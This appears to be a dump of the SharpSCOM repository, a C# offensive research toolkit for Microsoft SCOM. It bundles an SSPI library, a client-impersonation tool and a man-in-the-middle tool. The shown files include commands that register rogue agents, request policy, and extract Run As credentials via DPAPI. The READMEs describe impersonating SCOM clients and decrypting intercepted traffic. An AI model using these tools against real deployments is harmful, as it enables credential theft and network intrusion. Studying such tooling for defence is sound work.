├── nsspi
├── NSspi
│ ├── .gitignore
│ ├── nsspi key.snk
│ ├── app.config
│ ├── Credentials
│ │ ├── CredentialQueryAttrib.cs
│ │ ├── QueryNameSupport.cs
│ │ ├── ClientCurrentCredential.cs
│ │ ├── ServerCurrentCredential.cs
│ │ ├── CredentialUse.cs
│ │ ├── SafeCredentialHandle.cs
│ │ ├── AuthData.cs
│ │ ├── CurrentCredential.cs
│ │ ├── CredentialNativeMethods.cs
│ │ ├── PasswordCredential.cs
│ │ └── Credential.cs
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── Contexts
│ │ ├── SafeTokenHandle.cs
│ │ ├── ContextQueries.cs
│ │ ├── SafeContextHandle.cs
│ │ ├── ContextQueryAttrib.cs
│ │ ├── ImpersonationHandle.cs
│ │ ├── ContextAttrib.cs
│ │ └── ClientContext.cs
│ ├── SecureBuffer
│ │ ├── SecureBufferDataRep.cs
│ │ ├── SecureBufferDesc.cs
│ │ ├── SecureBufferType.cs
│ │ └── SecureBuffer.cs
│ ├── PackageNames.cs
│ ├── NSspi.csproj
│ ├── NativeMethods.cs
│ ├── TimeStamp.cs
│ ├── SSPIException.cs
│ ├── EnumMgr.cs
│ ├── ByteWriter.cs
│ ├── SspiHandle.cs
│ ├── PackageSupport.cs
│ └── SecPkgInfo.cs
├── .gitignore
├── License.txt
├── NSspi.sln
└── readme.md
├── SCOMClient
├── App.config
├── README.md
├── Properties
│ └── AssemblyInfo.cs
├── SCOMClient.csproj
├── ClientContextManager.cs
├── Program.cs
└── MessageGenerator.cs
├── SCOM_MiTM
├── App.config
├── README.md
├── Properties
│ └── AssemblyInfo.cs
├── SCOM_MiTM.csproj
└── MessageGenerator.cs
├── SharpSCOM
├── App.config
├── Commands
│ ├── ICommand.cs
│ ├── DecryptRunAs.cs
│ ├── BaseCommand.cs
│ ├── RequestPolicy.cs
│ ├── RegisterAgent.cs
│ ├── RegisterCertificate.cs
│ ├── DecryptPolicy.cs
│ ├── DownloadPolicy.cs
│ ├── AutoEnrol.cs
│ └── AutoEnroll.cs
├── Agent
│ └── MessageParser.cs
├── Common
│ ├── ILogger.cs
│ ├── ConsoleLogger.cs
│ ├── LoggerFactory.cs
│ ├── Constants.cs
│ └── AgentCommon.cs
├── Auth
│ ├── SSPIMessageParser.cs
│ ├── ClientContextManager.cs
│ ├── KerberosMessageGenerator.cs
│ ├── SSPIMessageGenerator.cs
│ └── KerberosMessageParser.cs
├── Cmdline
│ ├── DataHandler.cs
│ ├── CommandCollection.cs
│ ├── Info.cs
│ └── Options.cs
├── Properties
│ └── AssemblyInfo.cs
├── SharpSCOM.sln
├── Compression
│ └── Compression.cs
├── Program.cs
├── SharpSCOM.csproj
└── Crypto
│ └── DPAPIDecrypt.cs
├── LICENSE
├── SharpSCOM.sln
└── .gitignore
/nsspi/NSspi/.gitignore:
--------------------------------------------------------------------------------
1 | bin
2 | obj
3 |
--------------------------------------------------------------------------------
/nsspi/.gitignore:
--------------------------------------------------------------------------------
1 | .vs
2 | /_ReSharper.Caches
3 |
--------------------------------------------------------------------------------
/nsspi/NSspi/nsspi key.snk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/breakfix/SharpSCOM/HEAD/nsspi/NSspi/nsspi key.snk
--------------------------------------------------------------------------------
/nsspi/NSspi/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SCOMClient/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SCOM_MiTM/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SharpSCOM/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SharpSCOM/Commands/ICommand.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Cmdline;
2 | using System.Collections.Generic;
3 |
4 | namespace SharpSCOM.Commands
5 | {
6 | public interface ICommand
7 | {
8 | void Execute(Options.Arguments arguments);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/SharpSCOM/Agent/MessageParser.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace SharpSCOM.Message
8 | {
9 | class MessageParser
10 | {
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/SharpSCOM/Common/ILogger.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpSCOM.Common
4 | {
5 | public interface ILogger
6 | {
7 | void Info(string message);
8 | void Error(string message, Exception ex = null);
9 | void Debug(string message);
10 | }
11 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/CredentialQueryAttrib.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi.Credentials
4 | {
5 | ///
6 | /// Identifies credential query types.
7 | ///
8 | public enum CredentialQueryAttrib : uint
9 | {
10 | ///
11 | /// Queries the credential's principle name.
12 | ///
13 | Names = 1,
14 | }
15 | }
--------------------------------------------------------------------------------
/SCOMClient/README.md:
--------------------------------------------------------------------------------
1 | # SCOMClient
2 |
3 | This code is provided for research purposes to send single messages to a SCOM management server.
4 |
5 | ## Usage
6 |
7 | The tool should be run in the security context of the SCOM client you wish to impersonate using the below arguments.
8 | ```
9 | SCOMClient.exe
10 | ```
11 |
12 | **Example:**
13 | ```
14 | SCOMClient.exe scom.local 5723
15 | ```
--------------------------------------------------------------------------------
/SharpSCOM/Commands/DecryptRunAs.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Cmdline;
2 | using SharpSCOM.Common;
3 | using SharpSCOM.Crypto;
4 |
5 | namespace SharpSCOM.Commands
6 | {
7 | public class DecryptRunAs : ICommand
8 | {
9 | public static string CommandName => "DecryptRunAs";
10 |
11 | public void Execute(Options.Arguments arguments)
12 | {
13 | var credentials = DPAPIDecrypt.ExtractRunAsCredentials();
14 | }
15 | }
16 | }
--------------------------------------------------------------------------------
/SharpSCOM/Commands/BaseCommand.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Common;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SharpSCOM.Commands
9 | {
10 | public abstract class BaseCommand : ICommand
11 | {
12 | protected ILogger logger => LoggerFactory.Logger;
13 |
14 | public abstract void Execute(Cmdline.Options.Arguments arguments);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/nsspi/NSspi/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Runtime.InteropServices;
2 |
3 | // Setting ComVisible to false makes the types in this assembly not visible
4 | // to COM components. If you need to access a type in this assembly from
5 | // COM, set the ComVisible attribute to true on that type.
6 | [assembly: ComVisible( false )]
7 |
8 | // The following GUID is for the ID of the typelib if this project is exposed to COM
9 | [assembly: Guid( "9abf710c-c646-42aa-8183-76bfa141a07b" )]
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/QueryNameSupport.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace NSspi.Credentials
5 | {
6 | ///
7 | /// Stores the result from a query of a credential's principle name.
8 | ///
9 | [StructLayout( LayoutKind.Sequential )]
10 | internal struct QueryNameAttribCarrier
11 | {
12 | ///
13 | /// A pointer to a null-terminated ascii-encoded containing the principle name
14 | /// associated with a credential
15 | ///
16 | public IntPtr Name;
17 | }
18 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Contexts/SafeTokenHandle.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace NSspi.Contexts
5 | {
6 | public class SafeTokenHandle : SafeHandle
7 | {
8 | public SafeTokenHandle() : base( IntPtr.Zero, true )
9 | {
10 | }
11 |
12 | public override bool IsInvalid
13 | {
14 | get
15 | {
16 | return handle == IntPtr.Zero || handle == new IntPtr( -1 );
17 | }
18 | }
19 |
20 | protected override bool ReleaseHandle()
21 | {
22 | NativeMethods.CloseHandle( this.handle );
23 |
24 | return true;
25 | }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/nsspi/NSspi/SecureBuffer/SecureBufferDataRep.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi.Buffers
4 | {
5 | ///
6 | /// Describes how a buffer's opaque internals should be stored, with regards to byte ordering.
7 | ///
8 | internal enum SecureBufferDataRep : int
9 | {
10 | ///
11 | /// Buffers internals are to be stored in the machine native byte order, which will change depending on
12 | /// what machine generated the buffer.
13 | ///
14 | Native = 0x10,
15 |
16 | ///
17 | /// Buffers are stored in network byte ordering, that is, big endian format.
18 | ///
19 | Network = 0x00
20 | }
21 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/PackageNames.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi
4 | {
5 | ///
6 | /// Provides canonical names for security pacakges.
7 | ///
8 | public static class PackageNames
9 | {
10 | ///
11 | /// Indicates the Negotiate security package.
12 | ///
13 | public const string Negotiate = "Negotiate";
14 |
15 | ///
16 | /// Indicates the Kerberos security package.
17 | ///
18 | public const string Kerberos = "Kerberos";
19 |
20 | ///
21 | /// Indicates the NTLM security package.
22 | ///
23 | public const string Ntlm = "NTLM";
24 | }
25 | }
--------------------------------------------------------------------------------
/SharpSCOM/Auth/SSPIMessageParser.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Net.Sockets;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using NSspi;
9 | using NSspi.Contexts;
10 | using NSspi.Credentials;
11 |
12 | namespace SharpSCOM.Auth
13 | {
14 | class SSPIMessageParser
15 | {
16 | public static void ParseAgentRegistrationResponse(byte[] response)
17 | {
18 | try
19 | {
20 |
21 | }
22 | catch (Exception ex)
23 | {
24 | Console.WriteLine($"[!] Error parsing agent registration response: {ex.Message}");
25 | }
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/ClientCurrentCredential.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi.Credentials
4 | {
5 | ///
6 | /// Represents a handle to the credentials of the user running the current process, to be used to
7 | /// authenticate as a client.
8 | ///
9 | public class ClientCurrentCredential : CurrentCredential
10 | {
11 | ///
12 | /// Initializes a new instance of the ClientCurrentCredential class.
13 | ///
14 | /// The security package to acquire the credential handle from.
15 | public ClientCurrentCredential( string package )
16 | : base( package, CredentialUse.Outbound )
17 | {
18 | }
19 | }
20 | }
--------------------------------------------------------------------------------
/SCOM_MiTM/README.md:
--------------------------------------------------------------------------------
1 | # SCOM_MiTM
2 |
3 | This code is provided for research purposes to capture and decrypt SCOM agent / server messages.
4 |
5 | The tool supports two modes, client and server.
6 |
7 | ## Usage
8 |
9 | ### Server Mode
10 |
11 | The server should be run in the security context of the SCOM management server with the below arguments.
12 | ```
13 | SCOM_MiTM.exe
14 | ```
15 |
16 | **Example:**
17 | ```
18 | SCOM_MiTM.exe 9000 scompipe
19 | ```
20 |
21 | ### Client Mode
22 |
23 | The client should be run in the security context of the SCOM client you wish to impersonate using the below arguments.
24 | ```
25 | SCOM_MiTM.exe
26 | ```
27 |
28 | **Example:**
29 | ```
30 | SCOM_MiTM.exe dc.initech.local 5723 scompipe
31 | ```
--------------------------------------------------------------------------------
/nsspi/NSspi/Contexts/ContextQueries.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace NSspi.Contexts
5 | {
6 | ///
7 | /// Stores the result of a context query for the context's buffer sizes.
8 | ///
9 | [StructLayout( LayoutKind.Sequential )]
10 | internal struct SecPkgContext_Sizes
11 | {
12 | public int MaxToken;
13 | public int MaxSignature;
14 | public int BlockSize;
15 | public int SecurityTrailer;
16 | }
17 |
18 | ///
19 | /// Stores the result of a context query for a string-valued context attribute.
20 | ///
21 | [StructLayout( LayoutKind.Sequential )]
22 | internal struct SecPkgContext_String
23 | {
24 | public IntPtr StringResult;
25 | }
26 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/ServerCurrentCredential.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi.Credentials
4 | {
5 | ///
6 | /// Represents a handle to the credentials of the user running the current process, to be used to
7 | /// authenticate as a server.
8 | ///
9 | public class ServerCurrentCredential : CurrentCredential
10 | {
11 | ///
12 | /// Initializes a new instance of the ServerCredential class, acquiring credentials from
13 | /// the current thread's security context.
14 | ///
15 | /// The name of the security package to obtain credentials from.
16 | public ServerCurrentCredential( string package )
17 | : base( package, CredentialUse.Inbound )
18 | {
19 | }
20 | }
21 | }
--------------------------------------------------------------------------------
/SharpSCOM/Cmdline/DataHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SharpSCOM.Cmdline
9 | {
10 | class DataHandler
11 | {
12 | public static void WritePolicyToDisk(byte[] data, string outputFileName)
13 | {
14 | try
15 | {
16 | // Skip first 143 header bytes
17 | byte[] dataToWrite = data.Skip(143).ToArray();
18 |
19 | // Write to disk
20 | File.WriteAllBytes(outputFileName, dataToWrite);
21 |
22 | Console.WriteLine($"[+] Successfully wrote policy XML to {outputFileName}");
23 | }
24 | catch (Exception ex)
25 | {
26 | Console.WriteLine($"[!] Error writing to file: {ex.Message}");
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/SharpSCOM/Common/ConsoleLogger.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpSCOM.Common
4 | {
5 | public class ConsoleLogger : ILogger
6 | {
7 | private readonly bool _verbose;
8 |
9 | public ConsoleLogger(bool verbose = false)
10 | {
11 | _verbose = verbose;
12 | }
13 |
14 | public void Info(string message)
15 | {
16 | Console.WriteLine($"[+] {message}");
17 | }
18 |
19 | public void Error(string message, Exception ex = null)
20 | {
21 | Console.WriteLine($"[!] ERROR: {message}");
22 | if (ex != null && _verbose)
23 | {
24 | Console.WriteLine($" Exception: {ex.Message}");
25 | Console.WriteLine($" Stack trace: {ex.StackTrace}");
26 | }
27 | }
28 |
29 | public void Debug(string message)
30 | {
31 | if (_verbose)
32 | {
33 | Console.WriteLine($"[DEBUG] {message}");
34 | }
35 | }
36 | }
37 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/CredentialUse.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi.Credentials
4 | {
5 | ///
6 | /// Indicates the manner in which a credential will be used for SSPI authentication.
7 | ///
8 | public enum CredentialUse : uint
9 | {
10 | ///
11 | /// The credentials will be used for establishing a security context with an inbound request, eg,
12 | /// the credentials will be used by a server building a security context with a client.
13 | ///
14 | Inbound = 1,
15 |
16 | ///
17 | /// The credentials will be used for establishing a security context as an outbound request,
18 | /// eg, the credentials will be used by a client to build a security context with a server.
19 | ///
20 | Outbound = 2,
21 |
22 | ///
23 | /// The credentials may be used to to either build a client's security context or a server's
24 | /// security context.
25 | ///
26 | Both = 3,
27 | }
28 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Contexts/SafeContextHandle.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.ConstrainedExecution;
3 |
4 | namespace NSspi.Contexts
5 | {
6 | ///
7 | /// Captures an unmanaged security context handle.
8 | ///
9 | public class SafeContextHandle : SafeSspiHandle
10 | {
11 | ///
12 | /// Initializes a new instance of the class.
13 | ///
14 | public SafeContextHandle()
15 | : base()
16 | { }
17 |
18 | ///
19 | /// Releases the safe context handle.
20 | ///
21 | ///
22 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
23 | protected override bool ReleaseHandle()
24 | {
25 | SecurityStatus status = ContextNativeMethods.DeleteSecurityContext(
26 | ref base.rawHandle
27 | );
28 |
29 | base.ReleaseHandle();
30 |
31 | return status == SecurityStatus.OK;
32 | }
33 | }
34 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/SecureBuffer/SecureBufferDesc.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace NSspi.Buffers
5 | {
6 | ///
7 | /// Represents the native layout of the secure buffer descriptor that is provided directly
8 | /// to native API calls.
9 | ///
10 | [StructLayout( LayoutKind.Sequential )]
11 | internal struct SecureBufferDescInternal
12 | {
13 | ///
14 | /// The buffer structure version.
15 | ///
16 | public int Version;
17 |
18 | ///
19 | /// The number of buffers represented by this descriptor.
20 | ///
21 | public int NumBuffers;
22 |
23 | ///
24 | /// A pointer to a array of buffers, where each buffer is a byte[].
25 | ///
26 | public IntPtr Buffers;
27 |
28 | ///
29 | /// Indicates the buffer structure version supported by this structure. Always 0.
30 | ///
31 | public const int ApiVersion = 0;
32 | }
33 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/SafeCredentialHandle.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.ConstrainedExecution;
3 |
4 | namespace NSspi.Credentials
5 | {
6 | ///
7 | /// Provides a managed handle to an SSPI credential.
8 | ///
9 | public class SafeCredentialHandle : SafeSspiHandle
10 | {
11 | ///
12 | /// Initializes a new instance of the class.
13 | ///
14 | public SafeCredentialHandle()
15 | : base()
16 | { }
17 |
18 | ///
19 | /// Releases the resources held by the credential handle.
20 | ///
21 | ///
22 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
23 | protected override bool ReleaseHandle()
24 | {
25 | SecurityStatus status = CredentialNativeMethods.FreeCredentialsHandle(
26 | ref base.rawHandle
27 | );
28 |
29 | base.ReleaseHandle();
30 |
31 | return status == SecurityStatus.OK;
32 | }
33 | }
34 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/NSspi.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 | netstandard2.0;net40
4 | NSspi
5 | NSspi
6 | true
7 | Kevin Thompson
8 | Adds support for accessing the remote identity.
9 | https://github.com/antiduh/nsspi
10 | 0.3.1.0
11 | true
12 | false
13 | nsspi key.snk
14 | License.txt
15 |
16 |
17 |
18 | true
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 | True
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/nsspi/NSspi/NativeMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.ConstrainedExecution;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace NSspi
6 | {
7 | internal static class NativeMethods
8 | {
9 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
10 | [DllImport( "Secur32.dll", EntryPoint = "FreeContextBuffer", CharSet = CharSet.Unicode )]
11 | internal static extern SecurityStatus FreeContextBuffer( IntPtr buffer );
12 |
13 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
14 | [DllImport( "Secur32.dll", EntryPoint = "QuerySecurityPackageInfo", CharSet = CharSet.Unicode )]
15 | internal static extern SecurityStatus QuerySecurityPackageInfo( string packageName, ref IntPtr pkgInfo );
16 |
17 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
18 | [DllImport( "Secur32.dll", EntryPoint = "EnumerateSecurityPackages", CharSet = CharSet.Unicode )]
19 | internal static extern SecurityStatus EnumerateSecurityPackages( ref int numPackages, ref IntPtr pkgInfoArry );
20 |
21 | [DllImport( "Kernel32.dll", EntryPoint = "CloseHandle", SetLastError = true )]
22 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
23 | internal static extern bool CloseHandle( IntPtr handle );
24 | }
25 | }
--------------------------------------------------------------------------------
/nsspi/License.txt:
--------------------------------------------------------------------------------
1 | Copyright (c) 2019, Kevin Thompson
2 | All rights reserved.
3 |
4 | Redistribution and use in source and binary forms, with or without
5 | modification, are permitted provided that the following conditions are met:
6 |
7 | 1. Redistributions of source code must retain the above copyright notice, this
8 | list of conditions and the following disclaimer.
9 | 2. Redistributions in binary form must reproduce the above copyright notice,
10 | this list of conditions and the following disclaimer in the documentation
11 | and/or other materials provided with the distribution.
12 |
13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
14 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
15 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
17 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
18 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
19 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
20 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
21 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
22 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------------
/SCOMClient/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SCOMClient")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SCOMClient")]
13 | [assembly: AssemblyCopyright("Copyright © 2025")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("49020c38-ee98-4fb2-9e42-dd0f216d8183")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | [assembly: AssemblyVersion("1.0.0.0")]
33 | [assembly: AssemblyFileVersion("1.0.0.0")]
34 |
--------------------------------------------------------------------------------
/SharpSCOM/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpSCOM")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpSCOM")]
13 | [assembly: AssemblyCopyright("Copyright © 2025")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("4def17f6-d348-4a1c-8b36-8cfec6fa2449")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | [assembly: AssemblyVersion("1.0.0.0")]
33 | [assembly: AssemblyFileVersion("1.0.0.0")]
34 |
--------------------------------------------------------------------------------
/SharpSCOM/Common/LoggerFactory.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpSCOM.Common
4 | {
5 | public static class LoggerFactory
6 | {
7 | private static ILogger _instance;
8 | private static readonly object _lock = new object();
9 |
10 | public static ILogger Logger
11 | {
12 | get
13 | {
14 | if (_instance == null)
15 | {
16 | lock (_lock)
17 | {
18 | if (_instance == null)
19 | {
20 | _instance = new ConsoleLogger(verbose: false);
21 | }
22 | }
23 | }
24 | return _instance;
25 | }
26 | }
27 |
28 | // Initialize the logger with log level
29 | public static void Initialize(bool verbose)
30 | {
31 | lock (_lock)
32 | {
33 | _instance = new ConsoleLogger(verbose);
34 | }
35 | }
36 |
37 | // Initialize with a custom logger implementation
38 | public static void Initialize(ILogger logger)
39 | {
40 | lock (_lock)
41 | {
42 | _instance = logger ?? throw new ArgumentNullException(nameof(logger));
43 | }
44 | }
45 | }
46 | }
--------------------------------------------------------------------------------
/SharpSCOM/Commands/RequestPolicy.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Agent;
2 | using SharpSCOM.Cmdline;
3 | using SharpSCOM.Common;
4 | using SharpSCOM.Auth;
5 |
6 | namespace SharpSCOM.Commands
7 | {
8 | public class RequestPolicy : BaseCommand
9 | {
10 | public static string CommandName => "RequestPolicy";
11 | public override void Execute(Options.Arguments arguments)
12 | {
13 | logger.Info($"Requesting policy...");
14 |
15 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port))
16 | {
17 | // Connect and authenticate
18 | if (!scomClient.Connect())
19 | {
20 | logger.Error("Failed to connect to server");
21 | return;
22 | }
23 |
24 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup);
25 | byte[] payload = single.GeneratePolicyRequestPayload(1);
26 |
27 | byte[] response = scomClient.SendMessage(payload);
28 |
29 | if (response != null)
30 | {
31 | logger.Info("Policy request response received");
32 | SSPIMessageParser.ParseAgentRegistrationResponse(response);
33 | }
34 | else
35 | {
36 | logger.Error("No response received from server");
37 | }
38 | }
39 | }
40 | }
41 | }
--------------------------------------------------------------------------------
/SharpSCOM/Commands/RegisterAgent.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Agent;
2 | using SharpSCOM.Cmdline;
3 | using SharpSCOM.Common;
4 | using SharpSCOM.Auth;
5 |
6 | namespace SharpSCOM.Commands
7 | {
8 | public class RegisterAgent : BaseCommand
9 | {
10 | public static string CommandName => "RegisterAgent";
11 | public override void Execute(Options.Arguments arguments)
12 | {
13 | logger.Info($"Registering agent: {arguments.Hostname}");
14 |
15 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port))
16 | {
17 | // Connect and authenticate
18 | if (!scomClient.Connect())
19 | {
20 | logger.Error("Failed to connect to server");
21 | return;
22 | }
23 |
24 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup);
25 | byte[] payload = single.GenerateAgentRegisterPayload(1);
26 |
27 | byte[] response = scomClient.SendMessage(payload);
28 |
29 | if (response != null)
30 | {
31 | logger.Info("Agent registration response received");
32 | SSPIMessageParser.ParseAgentRegistrationResponse(response);
33 | }
34 | else
35 | {
36 | logger.Error("No response received from server");
37 | }
38 | }
39 | }
40 | }
41 | }
--------------------------------------------------------------------------------
/SCOM_MiTM/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SCOM_MiTM")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SCOM_MiTM")]
13 | [assembly: AssemblyCopyright("Copyright © 2025")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("8e7c0dab-dac6-4103-9459-edeb32b54248")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | SharpSCOM is provided under the 3-clause BSD license below.
2 |
3 | *************************************************************
4 |
5 | Copyright (c) 2025, Matt Johnson
6 | All rights reserved.
7 |
8 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
9 |
10 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
11 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
12 | The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
13 |
